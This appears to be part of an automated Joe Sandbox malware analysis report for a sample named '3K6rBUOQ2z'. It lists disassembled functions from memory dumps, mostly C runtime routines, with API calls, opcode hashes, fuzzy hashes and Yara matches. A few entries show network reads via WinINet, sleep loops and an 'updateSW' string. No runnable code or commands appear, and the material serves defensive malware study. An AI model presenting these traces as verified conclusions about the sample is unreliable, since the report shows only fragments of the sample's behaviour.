
Part of subcall function 04B51D29: HeapFree.KERNEL32(00000000,00000000,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?), ref: 04B51D3F
Part of subcall function 04B51D29: GetLastError.KERNEL32(?,?,04B572DB,?,00000000,?,?,?,04B57302,?,00000007,?,?,04B575E1,?,?), ref: 04B51D51

_free.LIBCMT ref: 04B57272
_free.LIBCMT ref: 04B57284
_free.LIBCMT ref: 04B57296
_free.LIBCMT ref: 04B572A8

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction ID: 483566ea0ef53b89664ed2dd7fd9b40260e4331b71de85a4830a2d39d41bba32
Opcode Fuzzy Hash: 66f692938bcf18abe0cb3e5c7653619a9fabf3dc7bd25fd00b9023d19967cfd6
Instruction Fuzzy Hash: CEF04432B142146BCA34DB58F586E16B3DDEB01720BA40885FC28D7560CF25FC914A54

Function 1000C51E Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 1000C536

Part of subcall function 10007A3C: RtlFreeHeap.NTDLL(00000000,00000000,?,100066F0), ref: 10007A52
Part of subcall function 10007A3C: GetLastError.KERNEL32(?,?,100066F0), ref: 10007A64

_free.LIBCMT ref: 1000C548
_free.LIBCMT ref: 1000C55A
_free.LIBCMT ref: 1000C56C
_free.LIBCMT ref: 1000C57E

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 5af9cd1d934eff50961f68469d6981d65bd4349cdb7ac1437da5aad4e87a5e75
Instruction ID: 9141c028a1f6e8267eca5b553c4c44ea57822cd8596d4ab818939ac7a44c1903
Opcode Fuzzy Hash: 5af9cd1d934eff50961f68469d6981d65bd4349cdb7ac1437da5aad4e87a5e75
Instruction Fuzzy Hash: BEF0E739A046289BE650DB68ECC2C1A73D9FB456E17608805F448E7699CB34FFC08AA4

Function 00416FE1 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00416FF9

Part of subcall function 00411AC2: RtlFreeHeap.NTDLL(00000000,00000000,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?), ref: 00411AD8
Part of subcall function 00411AC2: GetLastError.KERNEL32(?,?,00417074,?,00000000,?,?,?,0041709B,?,00000007,?,?,0041737A,?,?), ref: 00411AEA

_free.LIBCMT ref: 0041700B
_free.LIBCMT ref: 0041701D
_free.LIBCMT ref: 0041702F
_free.LIBCMT ref: 00417041

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e9905c8b19ab3d426ab646f49b16c807e4d2b9b7b2a9eaa828597b4964810506
Instruction ID: 1bbc7c59558bdb80d40cd5d769ae83ba842cf1fe79b15496f27bd1d3c69b9f62
Opcode Fuzzy Hash: e9905c8b19ab3d426ab646f49b16c807e4d2b9b7b2a9eaa828597b4964810506
Instruction Fuzzy Hash: 2AF04432705240678534DB5DE486D967BE9AF44760758481BF508D7A12D73CFCD0465C

Function 04B458D0 Relevance: 7.5, APIs: 1, Strings: 3, Instructions: 476COMMON

Download Yara Rule

Strings

rB, xrefs: 04B459EE
rB, xrefs: 04B46527
O*, xrefs: 04B45A5F

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID: O*$rB$rB
API String ID: 0-546290271
Opcode ID: f523bc33ae5dcf39d7c7f9cffc68d396c9ac6c1ced86010178b4c982eee15dc0
Instruction ID: b76375a6d1ccb6514fecc0a490c549058fda5aaf315fa6300b765a8ff46226aa
Opcode Fuzzy Hash: f523bc33ae5dcf39d7c7f9cffc68d396c9ac6c1ced86010178b4c982eee15dc0
Instruction Fuzzy Hash: 52121771D002489BEB18EBB8DC54BEDB7B4EF95308F1080E8E54567191EF34BA49EB61

Function 04B4516B Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B493D7: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B493E2
Part of subcall function 04B493D7: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B4941F

__Init_thread_footer.LIBCMT ref: 04B451B2

Part of subcall function 04B4938D: RtlEnterCriticalSection.NTDLL(0042AF64), ref: 04B49397
Part of subcall function 04B4938D: RtlLeaveCriticalSection.NTDLL(0042AF64), ref: 04B493CA

Sleep.KERNEL32(000007D0), ref: 04B4552A
Sleep.KERNEL32(000007D0), ref: 04B45544

Strings

updateSW, xrefs: 04B4544F

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeaveSleep$Init_thread_footer
String ID: updateSW
API String ID: 500923978-2484434887
Opcode ID: a48b40eb8ce9b0f2e770e20945fe188cfd2cc4dc723a840eb928d6538466b87f
Instruction ID: c6fd249a583e1bd64c1d0d5cf636f5f3d56e5160116afebae93ef7f49f3738a4
Opcode Fuzzy Hash: a48b40eb8ce9b0f2e770e20945fe188cfd2cc4dc723a840eb928d6538466b87f
Instruction Fuzzy Hash: CED1D4B1A005649BEB38DB28CC887ADB771EFC1308F1441E9D9096B295DB75AEC4DB41

Function 10007CBA Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 10007E54

Strings

*?, xrefs: 10007CFD

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: _free
String ID: *?
API String ID: 269201875-2564092906
Opcode ID: 5cf7f851aaec087829ec43eeaab6f60b67ed4c75ee81a41c35adb74eb9a8a420
Instruction ID: 7b94f7270babd41a129a228fbe6cecbdc5f775369f8c1ab1d48f9322781d5c4e
Opcode Fuzzy Hash: 5cf7f851aaec087829ec43eeaab6f60b67ed4c75ee81a41c35adb74eb9a8a420
Instruction Fuzzy Hash: 0C614175D0021A9FEB14CFA9C8815EDFBF5FF48390B2581AAE809F7344D675AE418B90

Function 10004F12 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,10004EC3,00000000,?,00000001,?,?,?,10004FB2,00000001,FlsFree,10011CC0,FlsFree), ref: 10004F1F
GetLastError.KERNEL32(?,10004EC3,00000000,?,00000001,?,?,?,10004FB2,00000001,FlsFree,10011CC0,FlsFree,00000000,?,10003ECF), ref: 10004F29
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 10004F51

Strings

api-ms-, xrefs: 10004F36

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 194d23d78a7530926df8253abc19602fce8fc6649c780d967afcd7dccf04e9f6
Instruction ID: 9caaa85424732638a533447db036373c94518d46a1d9f65793ecca3e1a8de25d
Opcode Fuzzy Hash: 194d23d78a7530926df8253abc19602fce8fc6649c780d967afcd7dccf04e9f6
Instruction Fuzzy Hash: 19E01274644245B6FB155B60DC45F993B95DB047D0F118030FA0CA80E5DBB1E99599C9

Function 04CF1C22 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04CF1CA9

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction ID: 77a643673ec7d88cd29a2edf076a5074e238e4b33c83bd47411dea4c6174af87
Opcode Fuzzy Hash: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction Fuzzy Hash: 3CB12831A00285DFEB55CF29CC507BEBBF6EF45350F1C456AD6459B241EA39AE02CB60

Function 04B52A89 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 04B52B10

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction ID: 02a552d982c9984a1b1bac77fe61ae331d2408373eee9c2b43d7e4130cbb2361
Opcode Fuzzy Hash: 00bd01e052c6ca4725e3dc98c9fc8d994eb0987dbdd7d2e2c545ffa9104eb7c9
Instruction Fuzzy Hash: 1FB11532A062869FEB19CF28C8807BEFBF5EF45340F1445E9DC549B2A1D634A902CF60

Function 00412822 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 004128A9

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: ea5dc4856b585dd579de17702f7f9642f7d44acf4acc8e31691820c31d006a79
Instruction ID: 6012ccbf35aa319517377e765832e55e269021952583a9b626e33c473f35baf7
Opcode Fuzzy Hash: ea5dc4856b585dd579de17702f7f9642f7d44acf4acc8e31691820c31d006a79
Instruction Fuzzy Hash: A6B13571A002459FDB25CF68CA817EEBBE1EF55340F14816BD845EB341D2BC9992CB68

Function 04B41AE7 Relevance: 6.3, APIs: 4, Instructions: 298networkfileCOMMON

Download Yara Rule

APIs

InternetSetFilePointer.WININET(?,00000000,00000000,00000000,00000000), ref: 04B41B6C
InternetReadFile.WININET(?,00000000,000003E8,00000000), ref: 04B41B8B

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: FileInternet$PointerRead
String ID:
API String ID: 3197321146-0
Opcode ID: f9ec063c9d2e41b3af08dc7f95bc4ff4171d8ea44204e87ef2b2e3f71c5be050
Instruction ID: 38f03f2f50ce7fb5e1d488fa682dcfb14914d823c11f0e815f3cc0a36ff6d32e
Opcode Fuzzy Hash: f9ec063c9d2e41b3af08dc7f95bc4ff4171d8ea44204e87ef2b2e3f71c5be050
Instruction Fuzzy Hash: 96C16EB0A002189FEB25CF28CD88BEAB7B5FF89704F1045D8E509A7690D775BA85CF50

Function 04CEA284 Relevance: 6.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04CEA34B
___AdjustPointer.LIBCMT ref: 04CEA36E
___AdjustPointer.LIBCMT ref: 04CEA40A

Memory Dump Source

Source File: 00000000.00000003.1864568328.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Offset: 04CE0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4ce0000_3K6rBUOQ2z.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: 2592838cd25b8c71b616a3209bd307f9368e49ef6110a60e681fa7179048d052
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: FD51C0B2A05202EFEB299F56D840BBA77A7EF44314F14412DE80597291E737FA81D790

Function 04B4B0EB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 04B4B1B2
___AdjustPointer.LIBCMT ref: 04B4B1D5
___AdjustPointer.LIBCMT ref: 04B4B271

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: f0bc5704de4a8aec523d52425b52e3bee8f4acdc25eac687b52e62684058ebf2
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: CE51E372A08602AFEF298F10D880B7A7BA4FF84304F1445ADDA4597A90E731F951FB91

Function 10003EDA Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 10003FA1
___AdjustPointer.LIBCMT ref: 10003FC4
___AdjustPointer.LIBCMT ref: 10004060

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction ID: 9e97f9b43940e94c385e873cf65d718b9a08959cb0185780d8acf6a52a646172
Opcode Fuzzy Hash: 952e73679afc7ae5e9be77ebdc85447c9e7c58ce1189e5957c3f15572caf07ac
Instruction Fuzzy Hash: 9D51BFB6A04202AFFB16CF11D941BAB77A8EF047D0F11856DEA05A72A9DB31EC40D794

Function 0040AE84 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0040AF4B
___AdjustPointer.LIBCMT ref: 0040AF6E
___AdjustPointer.LIBCMT ref: 0040B00A

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction ID: 88ef4a02ba2930d6a04adc46f9a2f5105df9e51eba4518f207ac4bbffbfe15f9
Opcode Fuzzy Hash: 9375933aa2df3e20f0ca1827bdd97f55dc499c02a50483b9e33265720776713f
Instruction Fuzzy Hash: E151D1B1600303AFDB299F15D841BABB3A4EF44314F14413FE801A76D2E739AC65D79A

Function 04B55CB0 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 04B4FE6F: _free.LIBCMT ref: 04B4FE7D

Part of subcall function 04B5375E: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,00000000,?,04B588CA,?,?,?,00000000,?,04B58639,0000FDE9,00000000,?), ref: 04B53800

GetLastError.KERNEL32 ref: 04B55D18
__dosmaperr.LIBCMT ref: 04B55D1F
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 04B55D5E
__dosmaperr.LIBCMT ref: 04B55D65

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 2446def1f9b4e50dcca6d59721d257bc06bfc03ce38444d90e74b9eed1d69467
Instruction ID: 08308f1979cd23a2967e901f9ccb00e7a8daaa7dba466098c2f7cb83c5f6d14b
Opcode Fuzzy Hash: 2446def1f9b4e50dcca6d59721d257bc06bfc03ce38444d90e74b9eed1d69467
Instruction Fuzzy Hash: 9821D872600605BFEB30AF65CC84F6BF7ACEF402697004598ED29975A0E731FD009750

Function 10007BCE Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 100081F0: _free.LIBCMT ref: 100081FE

Part of subcall function 10008DC4: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,1000B163,?,00000000,00000000), ref: 10008E70

GetLastError.KERNEL32 ref: 10007C36
__dosmaperr.LIBCMT ref: 10007C3D
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 10007C7C
__dosmaperr.LIBCMT ref: 10007C83

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: b7af9aa25762b68c67a19e1abcb47a9b758bf4775fc138b5a0a35b694754267d
Instruction ID: 4d86bd2ae757562d8160192595c5732c56f34f1228d97d68919d00ee2a874974
Opcode Fuzzy Hash: b7af9aa25762b68c67a19e1abcb47a9b758bf4775fc138b5a0a35b694754267d
Instruction Fuzzy Hash: 9021AC75A00216AFB720DF658C85D5BB7ADFF042E4B108529FA699724ADB35EC408BA0

Function 00415A49 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0040FC08: _free.LIBCMT ref: 0040FC16

Part of subcall function 004134F7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,0041384C,?,00000000,00000000), ref: 00413599

GetLastError.KERNEL32 ref: 00415AB1
__dosmaperr.LIBCMT ref: 00415AB8
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 00415AF7
__dosmaperr.LIBCMT ref: 00415AFE

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: ca7ce2db1058a54df87d71c7a914b0946fa5af84fdd88a5f61fb18a9b6564db0
Instruction ID: 3f7c4113f524ad2c0abd5e3f91609bb3d7c3a41f61a1f3e5b12bbd4c913db815
Opcode Fuzzy Hash: ca7ce2db1058a54df87d71c7a914b0946fa5af84fdd88a5f61fb18a9b6564db0
Instruction Fuzzy Hash: 5221D871604615EFDB20AF66DCC19EBB76CEF443A8710862BF82497291D73CED8187A4

Function 04B51DB1 Relevance: 6.1, APIs: 4, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction ID: ad62378e5a4cb657ef427a22b8bffecd54b32d2b315963f5834abef0fb0ddb65
Opcode Fuzzy Hash: e542fd5fe1f20daa28cc2bb0b7df5d538cfe0501b749800661c5dcfdf3bad05e
Instruction Fuzzy Hash: 7121D871F01221BBDB318B2C9C84B5AB764EF417A0F150DA1ED06A72B0EA30FD01D6E4

Function 04B51464 Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(04B4213F,?,04B42143,04B4C610,?,04B4213F,0041D0A0,?,04B51714,00000000,0041D0A0,00000000,00000000,04B4213F), ref: 04B51469
_free.LIBCMT ref: 04B514C6
_free.LIBCMT ref: 04B514FC
SetLastError.KERNEL32(00000000,0042A174,000000FF,?,04B51714,00000000,0041D0A0,00000000,00000000,04B4213F), ref: 04B51507

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: d87a196747eb98be69f930891d617142d2a680cdf12a75ecda7b171a806f77d5
Instruction ID: 83c9c325586f02c49b688f083690531fbb78fc7f4d2aeebf1767d39968b0b31e
Opcode Fuzzy Hash: d87a196747eb98be69f930891d617142d2a680cdf12a75ecda7b171a806f77d5
Instruction Fuzzy Hash: BF11C232F012043BE7222BBCAC85F3AA659CBC1278B6456F4FD24961F0EB25AC129915

Function 10006E9C Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00000000,100059DF,?,10001F4F,00000000), ref: 10006EA1
_free.LIBCMT ref: 10006EFE
_free.LIBCMT ref: 10006F34
SetLastError.KERNEL32(00000000,0000000B,000000FF,?,?,00000000,100059DF,?,10001F4F,00000000), ref: 10006F3F

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705880835.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 72c61705ed6df8d98b2a0eedb55838999870745f68928b586d93f1ef3c7b0de2
Instruction ID: 52538b18816049bcedc1269911990ba1ec418b01f35f7c97631a1a3369067357
Opcode Fuzzy Hash: 72c61705ed6df8d98b2a0eedb55838999870745f68928b586d93f1ef3c7b0de2
Instruction Fuzzy Hash: BE11E33AA006566AF242D674DC81E6F328BEBC92F57310134F528921D9DE74DE094631

Function 004111FD Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00401ED8,?,00401EDC,0040C3A9,?,00401ED8,771ADF80,?,004114AD,00000000,771ADF80,00000000,00000000,00401ED8), ref: 00411202
_free.LIBCMT ref: 0041125F
_free.LIBCMT ref: 00411295
SetLastError.KERNEL32(00000000,00000008,000000FF,?,004114AD,00000000,771ADF80,00000000,00000000,00401ED8), ref: 004112A0

Memory Dump Source

Source File: 00000000.00000002.2702285605.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2702285605.000000000042A000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_3K6rBUOQ2z.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 8f2be2869976a8119261bfaf498dece40e74cd62e7ae4b35ba2787d73ab106da
Instruction ID: cded345c8d5c530dafeb31fb37215a8dc2974a232bbf80fd36b18c5a372c037c
Opcode Fuzzy Hash: 8f2be2869976a8119261bfaf498dece40e74cd62e7ae4b35ba2787d73ab106da
Instruction Fuzzy Hash: 8011A7327005002A965127B57C86EFB26698BC57B8B64037BFB15E22F1EA3D8C92411D

Function 04B515BB Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,04B4C5A5,04B52748,?,?,04B4A3C2,?,?,?,04B41353,?,04B4370E,?,?), ref: 04B515C0
_free.LIBCMT ref: 04B5161D
_free.LIBCMT ref: 04B51653
SetLastError.KERNEL32(00000000,0042A174,000000FF,?,04B4A3C2,?,?,?,04B41353,?,04B4370E,?,?,?), ref: 04B5165E

Memory Dump Source

Source File: 00000000.00000002.2704847781.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_3K6rBUOQ2z.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 7782d265afb65f697e55785a8c86fcbb5444133996192f0522372e2b86f319e8
Instruction ID: 67b24782ee60f7b0215e44da9312ff3ebd04ff82c535b599612bba0dd6aeb964
Opcode Fuzzy Hash: 7782d265afb65f697e55785a8c86fcbb5444133996192f0522372e2b86f319e8
Instruction Fuzzy Hash: 6D11E536F012002BE72267BD7C85F3AA25ADBC5278BA903F5FD24921F0DB75AC119515

Function 10006FF3 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,1000592B,10007A62,?,?,100066F0), ref: 10006FF8
_free.LIBCMT ref: 10007055
_free.LIBCMT ref: 1000708B
SetLastError.KERNEL32(00000000,0000000B,000000FF,?,?,1000592B,10007A62,?,?,100066F0), ref: 10007096

Memory Dump Source

Source File: 00000000.00000002.2705826801.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2705802007.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2705853981.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
